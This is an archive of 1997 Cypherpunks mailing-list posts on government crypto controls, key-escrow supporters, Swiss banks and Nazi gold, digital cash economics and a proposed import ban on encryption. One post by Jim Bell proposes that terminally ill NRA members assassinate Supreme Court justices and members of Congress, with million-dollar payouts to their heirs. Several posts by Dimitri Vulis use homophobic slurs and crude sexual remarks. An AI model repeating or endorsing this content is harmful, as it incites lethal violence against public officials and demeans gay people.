In-Reply-To: <199705072216.SAA25634@yakko.cs.wmich.edu>
Message-ID: <199705080304.WAA09423@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199705072216.SAA25634@yakko.cs.wmich.edu>, on 05/07/97 at 04:16 PM,
   Damaged Justice <frogfarm@yakko.cs.wmich.edu> said:


>>From Post Office Credit Union' _Credit Union Post_, Spring 1997:

>Congress recently passed a law making it mandatory to receive government
>payments by direct deposit to a financial institution. It's called
>"Electronic Funds Transfer Expansion Act," and it requires all federal
>payments, except an IRS refund check to be issued by electronic funds
>transfer (Direct Deposit).

This is nothing new. They did this to the Military Payroll back in the mid
1980's. Most if not all civilian Fed workers are already receiving DD
payments.

Their has been a long time desire by the Feds to move us to a cashless
society. No checks, No cash, no coins all electronic transfers. This is
just one more step in that direction.

While from an economic standpoint there are many reason to do this as it is
much cheaper to move bits than to move pieces of wood pulp. From a
security/privacy standpoint there are just as many reasons *not* to do
this. Smart Cards, Debit Cards, Credit Cards, ... et al. will not support
anonymous transactions. The current power brokers will not give up control
of the money regardless of what form it takes.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: I went window shopping...and bought OS/2!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM3FR6I9Co1n+aLhhAQFARgP/cdt033GTXr0TKlXrL6uk0tG8COPdPP+m
SPpmdw7q9vGTWpitkCx3Tz5311GkpYUSUhrPYWQ+itDGRAdZZ//wzQjuRNazNoEe
eAYxE7qVg58rEzLVIoNbKbOVhTE0Ovfjs6ANi/t5WBmMvRY7CliDpgWEt7RetPkf
P6/OwioE7kc=
=NyZv
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 8 May 1997 13:00:57 +0800
To: Marshall Clow <mclow@owl.csusm.edu>
Subject: Re: List of GAK supporters
Message-ID: <3.0.32.19970507215109.006ac2a8@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:37 PM 5/7/97 -0700, Marshall Clow wrote:
>Apple, as far as I know, has no GAK project in place.
>In fact, as far as I know, the last GAK-related action
>that anyone at Apple has participated, was to participate in
>the original press release.

Which was a big mistake. I know I complained loudly to them. I suspect
others did as well.

>This is not meant as a defense of Apple. I have discussed
>their support of this organization with senior management there,
>and tried to convince them of the errors of their ways. Rather,
>it is a comment on their current activities regarding GAK.

Do you feel you had success in discussing this issue with them?

Thanks,


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 8 May 1997 11:04:40 +0800
To: whgiii@amaranth.com (William H. Geiger III)
Subject: Re: Banking Secrecy and Nazi Gold
In-Reply-To: <199705080238.VAA09065@mailhub.amaranth.com>
Message-ID: <199705080257.VAA11981@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


William H. Geiger III wrote:
>    ichudov@algebra.com (Igor Chudov @ home) said:
> >Tim May wrote:
> >> I try to deconstruct events, to determine what the real issues are.
> >> 
> >> Take the case of the ongoing flap over Switzerland and claims that Swiss
> >> banks hid gold, jewels, and other forms of money for high-ranking Nazis.
> >> Adding to the flap--actually, making it a newsworthy event--is the
> >> allegation, probably true, that some of the gold was taken from Jews and
> >> others sent to extermination camps.
> 
> >... snip ...
> 
> >> OK, so it's clear to all right-thinking persons what should be done:
> >> Switzerland should return the money to the heirs of those killed by the
> >> Nazis.
> >> 
> >> Ah, but it's not so clear to me. I guess I'm not a right-thinking person.
> 
> >According to americal common law, as I understand it, no one can get a
> >valid title to the property from someone who did not have such title.
> 
> >E.g., if you steal Vulis's car and then sell it to me, I will not have the
> >title to the car and will have to return it back to Vulis (and may be able
> >to try to recover my loss from you). The same will be true if you lend the
> >stolen car to me -- he can get it back if he proves that it is his.
> 
> >I find that reasoning to be quite good.
> 
> >Lending stolen money (or stolen golden teeth) to banks is no different
> >than lending stolen cars.
> 
> >American law does not have to apply to Switzerland, but I find that 
> >particular part of it to be just. The issue, of course, is coming up with
> >the proof.
> 
> >I will appreciate if someone could correct me.
> 
> It is an intresting approach to justify current action agains the Swiss
> Banks. If you could prove that the Swiss received stolen property what
> about the "statute of limitations"? Most US crimes require that they be
> prosecuted within x # of years ( I think that theft is 7yrs. ). Considering
> that this all happened over 50yrs and AFAIK no capital crimes have been
> commited by the swiss banks even if they are "guilty" of receiving stolen
> property I can hardly see how they can be held accountable now.

The Swiss banks did not commit any crimes, or at least I do not see any
crimes having been committed. They simply (in my view, if the cold facts
are true and convincing) are in possession of stolen property, which has
to be returned to their owner or their owners' estates or something like
that.

It is, like, if I buy a stolen car, as long as I was not aware or any
impropriety, I cannot be prosecuted (is that correct?). But the owner 
can take my car back regardless of how long I had it. It is not intended
to be a punishment, but rather a restoration of the original ownership.

This principle, among other things, seeks to discourage people from buying
stolen goods.

Again, please correct me if I am mistaken.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 8 May 1997 13:17:40 +0800
To: Bill Frantz <cypherpunks@toad.com
Subject: Re: Spam Update/Cyber Promo attacked
Message-ID: <3.0.32.19970507220052.0073faa8@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:35 PM 5/7/97 -0700, Bill Frantz wrote:
>Now, if we could only go back 30 years and give C a reasonable string
>model, we might be able to eliminate 50% of the known holes in Unix
>security.

Though shalt not use static size buffers for variable length data. [I don't
need to tell this to Bill and many others on this list. The rest better
chisel it in granite. :-]



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 8 May 1997 11:06:49 +0800
To: cypherpunks@toad.com
Subject: Re: Igor's Diabolical Mind
In-Reply-To: <199705072327.QAA09304@fat.doobie.com>
Message-ID: <Da7c7D41w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


nobody@huge.cajones.com (Huge Cajones Remailer) writes:
>   (I am blessed with breasts which allow me to set a man's car on
> fire and know he will just smile, and say, "That's OK, I'll get
> another one.")

Unless it's a faggot like the Lying Cocksucker John Gilmore[tm]

> that it won't occur again and moving on. (Much like some of the
> hilarious posts in the cypherpunks archives in which a list
> member responds to a Vulis post by saying, "Just ignore him
> and he'll go away." and then proceed to take two or three
> pot-shots at him.)

Yes - homosexuality is a mental defect that expresses itself in many
ways - not just limited to sexual perversions and net.censorship.

> (.)(.)Monger

Nice tits!!!!1!1!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 8 May 1997 11:28:33 +0800
To: cypherpunks@toad.com
Subject: Re: IBM's New Algo
In-Reply-To: <199705080041.TAA00687@manifold.algebra.com>
Message-ID: <yZ7c7D42w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Dr.Dimitri Vulis KOTM wrote:
> > John Young <jya@pipeline.com> writes:
> > >    The New York Times, May 7, 1997, p. D5.
> > >    I.B.M. Researchers Develop A New Encryption Formula
> > >    The system is based on a problem that has defied solution
> > >    by mathematicians for 150 years, I.B.M. said.
> >
> > I had an interesting conversation a few weeks ago with a friend who has
> > a closed-form solution to a well-known problem that's been unsolved for
> > about that long.  He has no intention of publishing it, but he has already
> > made quite a bit of $$$ on it. :-)
> >
> > I've known the guy for a number of years and it's not the first time he get
> > a good result and makes money on it instead of yet another paper in a
> > refereed journal.  In general, lots more is known to some people than is
> > published. E.g. it's possible that some of stuff I did for my Ph.D. thesis
> > was done by the British crypto people but never made it to the open literat
> >
> > >    Mr. Schneier said that the cryptographic formulas now in
> > >    use were already robust enough. The biggest challenge, he
> > >    said, is creating security systems in the real world that
> > >    are not vulnerable to hackers.
> > >
> > >    "Cryptography is a lot more than math" he said.
> >
> > Let me get this straight - Schneier claims that factoring is secure now and
> > will remain secure in the future?
>
> Let me get this straight -- did your friend discover a closed form
> solution to the factoring problem?

Nope, the guy I had in mind solved something else which to me was about
as interesting.

But yes, I also heard via a grapevine that "a friend of a friend" claims to
have found a trick for factoring a product of 2 arbitrarily large primes
(hundreds of decimal digits) very quickly ("minutes on a PC"). I don't
believe in reputations in general, but his is such that this may be true.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 8 May 1997 11:26:24 +0800
To: cypherpunks@toad.com
Subject: Re: Custom programming, Web site design & development, and more.
In-Reply-To: <199705080051.TAA00842@manifold.algebra.com>
Message-ID: <1a8c7D43w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> does he still sell zeros?
>

He's diversified into selling bulk e-mail software.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <NOSPAM-geeman@best.com>
Date: Thu, 8 May 1997 14:32:47 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: The Executive State
Message-ID: <3.0.32.19970507225557.0069d8f4@best.com>
MIME-Version: 1.0
Content-Type: text/plain


YOU BET!
Similar thoughts went thru my mind as I drove by the Lake the other day.
Secret Service is involved in security preparations, somewhat because 
Gore will be there. 

God, the thought of all those marketing banalities!

At 11:33 AM 5/7/97 -0500, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>
>In <3.0.32.19970507081934.006bbe28@best.com>, on 05/07/97 at 09:20 AM,
>   geeman <NOSPAM-geeman@best.com> said:
>
>
>>Anyone doubting that the center of gravity of world power is shifting
>>would do well to ponder: 100 of the world's top CEO's are going to  Bill
>>Gates' house to hear him expound on what the future will look like.
>
>>IF that doesn't make you nervous nothing will.  It's at least as 
>>nervewracking as anything Clinton admin. might do.
>
>Hmmm... 100 top CEO's & Bill Gates all in one place.
>
>Makes one ponder the possibilities. :)
>
>- -- 
>- -----------------------------------------------------------
>William H. Geiger III  http://www.amaranth.com/~whgiii
>Geiger Consulting    Cooking With Warp 4.0
>
>Author of E-Secure - PGP Front End for MR/2 Ice
>PGP & MR/2 the only way for secure e-mail.
>                          
>Finger whgiii@amaranth.com for PGP Key and other info
>- -----------------------------------------------------------
> 
>Tag-O-Matic: I use OS/2 2.0 and I don't care who knows!
>
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>Version: 2.6.2
>Comment: Registered User E-Secure v1.1 ES000000
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>=MswY
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>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 8 May 1997 11:29:50 +0800
To: cypherpunks@toad.com
Subject: Re: Banking Secrecy and Nazi Gold
In-Reply-To: <199705080050.TAA00821@manifold.algebra.com>
Message-ID: <8D8c7D44w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:
> E.g., if you steal Vulis's car and then sell it to me, I will not have
> the title to the car and will have to return it back to Vulis (and may
> be able to try to recover my loss from you). The same will be true if
> you lend the stolen car to me -- he can get it back if he proves that it
> is his.

Timmy C"you know what" May is a car thief too?????????????

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Thu, 8 May 1997 14:25:34 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: List of GAK supporters
In-Reply-To: <3.0.32.19970507215109.006ac2a8@netcom13.netcom.com>
Message-ID: <v03102802af971e13f5fe@[207.67.207.179]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:51 PM -0700 5/7/97, Lucky Green wrote:
>At 09:37 PM 5/7/97 -0700, Marshall Clow wrote:
>>Apple, as far as I know, has no GAK project in place.
>>In fact, as far as I know, the last GAK-related action
>>that anyone at Apple has participated, was to participate in
>>the original press release.
>
>Which was a big mistake. I know I complained loudly to them. I suspect
>others did as well.
>
>>This is not meant as a defense of Apple. I have discussed
>>their support of this organization with senior management there,
>>and tried to convince them of the errors of their ways. Rather,
>>it is a comment on their current activities regarding GAK.
>
>Do you feel you had success in discussing this issue with them?
>
>Thanks,
>
>
No, I did not.

I feel that Apple's "lack of participation" is much more a preoccupation
with other matters (like losing $700M) rather than a stand on principle.

However, I suspect that if Apple management actually started work on
such a project (or were ready to begin seeding), there would be a lot of
opposition, both inside and outside Apple.

Martin, do you have any comment on this?

-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

"In Washington DC, officials from the White House, federal agencies and
Congress say regulations may be necessary to promote a free-market
system." --  CommunicationsWeek International April 21, 1997






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 8 May 1997 15:14:54 +0800
To: cypherpunks@toad.com
Subject: Re: List of GAK supporters
In-Reply-To: <Pine.3.89.9705071942.A10252-0100000@netcom19>
Message-ID: <m18c7D47w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green <shamrock@netcom.com> writes:

> Below is a list of the members of the "Key Recovery Alliance" who are
> working hard to make the world safe for GAK. I intend to boycott them,
> though that may not be possible, since the "Allicance" seems to include just
> about anybody in the computer industy. It is sickening.
>
>
> Baltimore Technologies nCipher Corp. Boeing NEC
>      Cryptomathic Portland Software GemPlus RedCreek
>      Communications Frontier Technologies Corp. RPK Fujitsu
>      Ltd. Silicon Graphics, Inc. Hitachi Spyrus Open Horizon, Inc.
>      Sterling Commerce Intel Tandem IRE Technical
>      Communications Corp. Mitsubishi Electric America Toshiba
> America Online, Inc. Mytec Technologies, Inc. Apple
>      Computer, Inc. NCR Corp. Atalla Network Systems Group
>      of StorageTek Certicom Novell, Inc. Compaq Computer
>      Corp. PSA CygnaCom Solutions, Inc. Price Waterhouse
>      Cylink Corp. Racal Data Group Data Securities International
>      Inc. Rainbow Technologies First Data Corp. RSA Digital
>      Equipment Corp. SafeNet Trusted Services Corp. Digital
>      Signature Trust Company Secure Computing Corp. Entrust
>      Technologies SourceFile Gradient Technologies, Inc. Sterling
>      Commerce Groupe Bull Sun Microsystems, Inc.
>      Hewlett-Packard Trusted Information Systems, Inc. IBM
>      Unisys ICL UPS McAfee Utimaco Mergent Mitsubishi
>      Corporation of Japan VPNet Technologies Motorola
>

Better them than C2Net or the cocksuckers at "Cygnus Support".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 8 May 1997 15:18:53 +0800
To: cypherpunks@toad.com
Subject: Re: Banking Secrecy and Nazi Gold
Message-ID: <199705080652.XAA28596@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May wrote:
> 
> I try to deconstruct events, to determine what the real issues are.
> 
> Take the case of the ongoing flap over Switzerland and claims that Swiss
> banks hid gold, jewels, and other forms of money for high-ranking Nazis.
> Adding to the flap--actually, making it a newsworthy event--is the
> allegation, probably true, that some of the gold was taken from Jews and
> others sent to extermination camps.

  When I caught this on the news I immediately shifted my attention
to viewing the announcement from the perspective of the people 
involved not really giving a rat's ass about the Jews.
  What was left of the announcement once the banner of "mom's apple
pie and freedom and justice for all" was removed was a shallow 
justification of a mugging technique I call "extortion by guilt."
 
> the notion that "Switzerland must do something!" is pernicious and
> inimical to banking secrecy and basic privacy issues. A drumbeat is
> building which will serve to undermine banking secrecy around the world.

> I suspect the U.S. pressure on Swiss banks has a political dimension
> related to forcing a New World Order on international banking.
 > The clamor to break banking secrecy and
> "force" the banks to disclose all records is part of a larger political
> game.

  It's a muscle job designed to weaken the mark for the next level
of extortion. Today the Swiss are guilty of collusion in the 
holocaust and tomorrow they will be guilty of collusion with
drug dealers and pornographers. Only next time the Swiss will
fold their hand behind closed doors in order to save themselves
the global embarassment that has so sleazily been heaped on them.
 
{Somewhere deep in the bowels of D.C. there is someone working
late into the night in an attempt to link the holocaust to 
cryptography.
Headline: DEATH CAMP TATTOOS PROVEN TO BE EARLY FORM OF 
                   128 BIT ENCRYPTION
}

  What I find frightening is a sudden rise of obvious power plays
by government without bothering any longer with the formality
of engaging in a lengthy campaign to create a threat to the
citizens in the minds of the public.
  It's no wonder that the list conspiracy theorists have been
quiet as of late. Once the power mongers are kicking in your
door, then it's rather late to wonder if they are tapping
your phone as well.

  How long can it be before the government no longer feels
the need to inform us about the details of who they are
saving us from, and why?
  I am worried about falling asleep tonight. I fear that I will
go to sleep in my bed and wake up in a prison cell, with a
jackbooted guard informing me, "It's OK. You're safe now."

(.)(.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Thu, 8 May 1997 13:31:54 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Banking Secrecy and Nazi Gold
In-Reply-To: <v03007800af9667d20ad6@[207.167.93.63]>
Message-ID: <3.0.1.32.19970508001526.027646a4@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 07:50 PM 5/7/97 -0500, Igor Chudov @ home wrote:
>According to americal common law, as I understand it, no one can get
>a valid title to the property from someone who did not have such title.
>
>E.g., if you steal Vulis's car and then sell it to me, I will not have
>the title to the car and will have to return it back to Vulis (and may
>be able to try to recover my loss from you). The same will be true if
>you lend the stolen car to me -- he can get it back if he proves that it
>is his.

The thief's ownership of personal property is good against the whole world
save the true owner. 

"18. In general, possession constitutes the criterion of title of 
personal property, because no other means exist by which a knowledge of the 
fact to whom it belongs can be attained. A seller of a chattel is not, 
therefore, required to show the origin of his title, nor, in general, is a 
purchaser, without notice of the claim of the owner, compellable to make 
restitution; but, it seems, that a purchaser from a tenant for life of 
personal chattels, will not be secure against the claims of those entitled 
in remainder. Cowp. 432; 1 Bro. C. C. 274; 2 T. R. 376; 3 Atk. 44; 3 V. & B. 
16."

http://www.constitution.org/bouv/bouviert.txt  (Bouvier Law Dictionary a fun
Net resource) 

In the case of money (including gold) and other fungible commodities it can
be very hard to determine who owns what once it is out of possession because
it all looks alike.

>Lending stolen money (or stolen golden teeth) to banks is no different
>than lending stolen cars.
>
>American law does not have to apply to Switzerland, but I find that 
>particular part of it to be just. The issue, of course, is coming up
>with the proof.

Most of the assets involved (by volume and value) were the property of
governments that had been conquered by Germany or property confiscated from
German citizens.  Unfortunately, German citizens (like American citizens) are
not protected by international law from predation by their own government. 
Private citizens of conquered countries would be protected but proof will be
hard.  

All of these issues were debated at length in 1946 and settled by the
Washington Agreement.  The U.S., Britain, and France sat on the gold that
Switzerland transferred to it for 50 years (in the basement of the FRB NYC)
parcelling it out in dribs and drabs mostly to the treasuries of the
conquered nations.  They still have a fair chunk of it  and are trying to
figure who to give it to.  I guess holding other people's gold is OK some of
the time.

Article II.2 of the Washing ton Agreement stipulated: 

"The Allied Governments declare on their part that, in accepting this amount,
they
waive in their name and in the name of their banks of issue all claims
against the
Government of Switzerland and the Swiss National Bank in connection with gold
acquired during the war from Germany by Switzerland. All questions relative
to such
gold will thus be regulated." 

Switzerland transferred appox 1,658,000 oz of gold to the Allies with a
current value of $568,750,000.

DCF


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Thu, 8 May 1997 16:43:25 +0800
To: Jeff Barber <kent@songbird.com
Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
Message-ID: <199705080823.BAA13423@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 13:21 5/07/97 -0400, Jeff Barber wrote:
>The NRA knows this.  They just don't trust the Supremes to agree
>with their conclusion.  Understandably so, given the court's record--
>not to mention its usual reluctance to overturn precedents.
>
>This is a problem with constitutions or any other sort of written
>documents.  Pinheads can always say the document doesn't *really* mean
>what it clearly says.  There's obviously no way to fix that through
>the document itself.
>
>(I'm sure Jim Bell will say he has a solution though. :-)


As if on cue!

If the NRA had any guts, they would announce that they have concluded after
years of observation and study that there are enormous costs to having the
RTKBA continue to be poorly respected, costs which translate into (at least)
potentially hundreds or maybe even thousands of innocent deaths per year,
not to mention the continuing degradation of respect for various other
constitutional rights.  It would then observe that if we come to the
reasonably egalitarian conclusion that the life of a Supreme Court justice
or Senator or Representative is no more valuable than the life of an
ordinary citizen, the solution to the 2nd amendment problem is clear.  

(Some (many?) courts seem to recognize the "lesser evil" defense, the idea
that if a person has to choose between tolerating a greater evil or
committing a crime ("lesser evil") to prevent it, he is entitled to do the
latter.  I'm not suggesting that they would view this philosophy as
applicable in this particular case; merely that it is appropriate to do so.)

The NRA is a fairly large organization.  At any one time, there are probably
over a hundred members with terminal illnesses, or others who would be
willing to give their lives in the performance of a task to punish somebody
for violating citizens' rights by official actions.  A public announcement
by the NRA that they will gladly pay upwards of a million dollars in "life
insurance benefits" to to the heirs of any member who dies in this type of
supreme service (or a million dollars in legal defense, etc) would put the
"fear of God" into the thugs.




Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 8 May 1997 17:34:09 +0800
To: cypherpunks@toad.com
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <v02140b07af943b3689c9@[10.0.2.15]>
Message-ID: <v03020912af97403644b2@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:00 pm -0400 on 5/5/97, Steve Schear wrote:


> If I grant that you're right that DBCs will be 3-4 orders of magnitude
> cheaper than the book-entry approaches, and I'm ready yet, there is still
> the issue of whether such savings can be quickly passed on to the merchant
> and consumer, and thus spark this revoltion.

I actually don't care about the merchant and consumer. The hole you pour
the cost savings into belongs to the people clearing the trades, the
trustee and the underwriter. They'll take care of the consumer and the
merchant. Again, the reason we have ATMs is because they put tellers out of
work. If we can move that decimal point three or four places to the left
with strong financial cryptography, then we won't have a spark, we'll have
a Chixalub event. :-).

> Consider this, if a DBC-based system were to garner 3% (about what it might
> take to get noticed by the consumer, retail and business markets) of the
> GDP's $4 trillion in transactions, or about $120 billion, and the
> transaction fees were $0.0025, this would generate about $300 million in
> fees.  This is about what Western Union International generates in fees, a
> very respectable sized business.  But how much marketing and branding
> expenditures would it take to get there?  All financial products which
> attempted to reach a broad market and have a significant impact have
> required, in the past, significant up-front marketing expenses (VISA
> succeeded because BankAmericard spent in the $10s million per year range).
> Unless the Net will enable a 3-4 orders of magnitude reduction in such
> expenses, amounting to an historic bootstrap, it is difficult to see how
> this will occur without a white knight.

"Branding" is not the issue here. What we're talking about is the creation
of exactly the opposite, what economists call "perfect" competition, like
in commodities markets, where one soybean is as good as another. Fungible,
in other words. In the bond market, once you have two bonds which are
equivalent in credit rating, call structure, etc., effectively equivalent
in total return, in other words, you don't care who issues it.

The way we get to this is to exponentially increase the number of
underwriters, which is what Moore's Law gives us in the form of those
underwriting microbots I blather on so much about. If the costs of
generating that $300 million you're talking about is less than that revenue
by any small but appreciable fraction, you have a market. By the way, we
should avoid conflating cost with revenue. I'm talking about reducing the
cost of delivery by 3 or 4 orders of magnitude. Whatever you charge is what
the market will bear. :-). It's the profit margin, not the market size
which counts, and I claim that someday you'll have very small entities
making very small markets indeed. Remember, the original Mark Twain Bank
"mint" ran on a 486. If, as Dr. Myrhvold likes to point out, computers 20
years from now are going to be a million times more powerful, then that
creates a scale of financial entity to which $300 million is huge. Way too
big to think about.

In the meantime, if, due to the entertaining pricing distortions of
creating a new market you were able to sell that $300 million worth of
total cost for $3 billion, that would be cool, right? At least until you
had some competition, and, given Moore's law, that competition could happen
pretty quick...

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 8 May 1997 19:58:48 +0800
To: cmcurtin@research.megasoft.com
Subject: Re: US Citizens doing crypto work overseas
In-Reply-To: <199705071826.OAA18201@goffette.research.megasoft.com>
Message-ID: <199705081130.HAA21761@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


	It depends if they're willing to add a clause guaranteeing
legal fees.  (And have the appropriate size to do so in a convincing
way.)  With legal fees spoken for, many Americans do work overseas.

	Its all a matter of the US government not wanting to take on a
well funded legal team to try and claim that Americans can't speak to
furriners.  They much prefer mild mannered nuclear activists with a
large mortgage and a family to feed.  They're easier to beat up.

Adam


C Matthew Curtin wrote:
| Does anyone have any idea how extensive the legal entaglements might
| be for a US Citizen to accept work overseas developing crypto software
| for a foreign company?
| 
| Someone at a company in Australia is interested in hiring some
| crypto-clued folks, and has asked me if it's even worth pursuing
| any US citizens.

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Thu, 8 May 1997 23:20:01 +0800
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: My editorial in Oregonian newspaper published today.
Message-ID: <199705081446.HAA07883@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 17:20 5/07/97 -0700, Vladimir Z. Nuri wrote:
>JB's editorial is so mild-mannered I can barely resist comment.
>this from the JB we all know and love? this is so bland as to
>be almost PC, and frankly I agreed with every statement in
>it, virtually. how did he manage to avoid the label "assassination
>politics"? in fact how does he avoid the label "assassination"
>entirely? 

Hey, doofus, the article was 840 words long, 40 words longer than the length
recommended by the newspaper.  It ALSO avoids any mention of cryptography,
or digital cash, both of which would have not only just confused the average
newspaper reader, but  would have ballooned the article far past the length
that the newspaper could reasonably consider publishing.


>I think the main flimflammery in the essay is the concept of
>"criminal". JB always advocated in the past that merely being
>a bureacrat was virtually criminal, and that people would donate
>money toward their demise. 


Repeat same point above about length and detail.

>note to everyone: jim bell's editorial has virtually no relation
>to his past essays. I propose that someone send that newspaper
>his AP article.

They certainly had access to it.  The guy I talked to at the newspaper
claimed he had read it.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 9 May 1997 02:19:26 +0800
To: cypherpunks@toad.com
Subject: IP: Crypto News Flash (fwd)
Message-ID: <3.0.1.32.19970508103647.002ec6d8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>From: "Michael Froomkin - U.Miami School of Law"
>              <froomkin@LAW.MIAMI.EDU>
>Subject:      IP: Crypto News Flash (fwd)
>To: CYBERIA-L@LISTSERV.AOL.COM
>
>Amazing if true.  Part of my amazement is that Sen. Kerry, who I think of
>as somewhat moderate if not somewhat liberal, would be a party to this.

...
>---------- Forwarded message ----------
>Date: Thu, 08 May 1997 12:51:01 -0400
>From: David Farber <farber@cis.upenn.edu>
>Subject: IP: Crypto News Flash
>
>
>CyberWire Dispatch // Copyright (c) 1997 // May 1997
>
>Jacking in from the "Take My Crypto, Please" port:
>
>Washington, DC--A new anti-crypto bill now floating around Washington
>would place restrictions on the import of strong crypto products into the
>U.S. and possibly outlaw the use of non-government approved encryption
>products.
>
>During a morning briefing at the Capitol,  Sen. Bob Kerry
>(D-Neb.), talking about his impending new crypto bill, which he will call
>the "Secure Public Interest Act" said that the bill WILL include
>IMPORT restrictions on crypto software.
>
>Incredible.  We've heard rumblings the folks behind crypto strangling
>efforts would jump to import controls on crypto software if key escrow
>weren't widely adopted.
>
>Restricting imports, of course, is a kind of de facto domestic
>restriction as well.  It  means that companies can't import strong
>foreign made crypto products to use in their worldwide offices, forcing
>them to use the govt. mandated weaker crypto products.
>
>Next step:  outlawing some domestic crypto products.
>
>Kerry, when asked if there would be restrictions on private encryption,
>said "I don't envision that at the outset, but it might end up in the bill."
>
>Meeks out...
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
